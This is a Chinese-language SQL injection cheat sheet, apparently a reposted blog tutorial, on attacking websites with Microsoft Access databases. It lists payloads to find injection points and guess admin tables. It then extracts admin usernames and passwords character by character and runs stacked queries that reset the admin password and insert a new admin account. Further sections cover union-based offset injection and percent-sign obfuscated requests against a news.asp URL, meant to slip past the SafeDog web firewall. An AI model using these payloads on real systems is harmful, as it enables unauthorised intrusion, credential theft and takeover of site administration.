ACCESS 手工注入

ACCESS的注入,基本是死的。思路很简单,基本都可以工具解决。上代码:

1、判断有无注入点
' and 1=1 and 1=2
2、猜表一般的表的名称无非是admin adminuser user pass password
and 0<>(select count(*) from *) and exists (select * from admin)
and 0<>(select count(*) from admin)
3、爆破帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4、猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(username)>0)
and 1=(select count(*) from admin where len(password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(username)>6) 错误
and 1=(select count(*) from admin where len(username)>5) 正确 长度是6
and 1=(select count(*) from admin where len(username)=6) 正确
6.猜解字符
and 1=(select count(*) from admin where left(username,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(username,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
7.更改管理员密码, 添加管理员帐户
更改密码:
; update admin set password ='dukong' where username=admin
添加管理员:
; insert into admin (username,password) values (dukong,dukong)--
----------------------------------------------------------------------------------

ACCESS偏移注入
order by n 直到返回不正常,那么返回的列数就是n-1
union select 1,2,3,4,5,...,n-1 from admin会是正常的
然后用 * 代替查看admin表里面字段数
最后爆出admin账户, 会用到union select 1,2,3,4,...,from admin as a inner join admin as b on a.id=b.id 反正凑出字段数与 order by 查询的返回字段数相同来暴库

过安全狗:
/news.asp?letterkind=4&parentID=3 an%d%200<=(se%l%e%c%t co%unt(*) fr%om tb_login) an%d%201<2
/news.asp?letterkind=4&parentID=3 an%d%200<=(se%l%e%c%t co%unt(*) fr%om a_admin) an%d%201<2
/news.asp?letterkind=4&parentID=3 an%d%200<=(se%l%e%c%t co%unt(new) fr%om admin) an%d%201<2

%
an%d 1%=%1
aN%d ex%is%ts (se%le%ct * f%r%om us%er)
aN%d 0<>(se%le%ct co%u%nt(*) f%r%om *)
a%n%d 0<>(s%el%ec%t c%ou%nt(*) f%r%om ad%mi%n)

原文地址:https://www.cnblogs.com/qunshu/p/3286877.html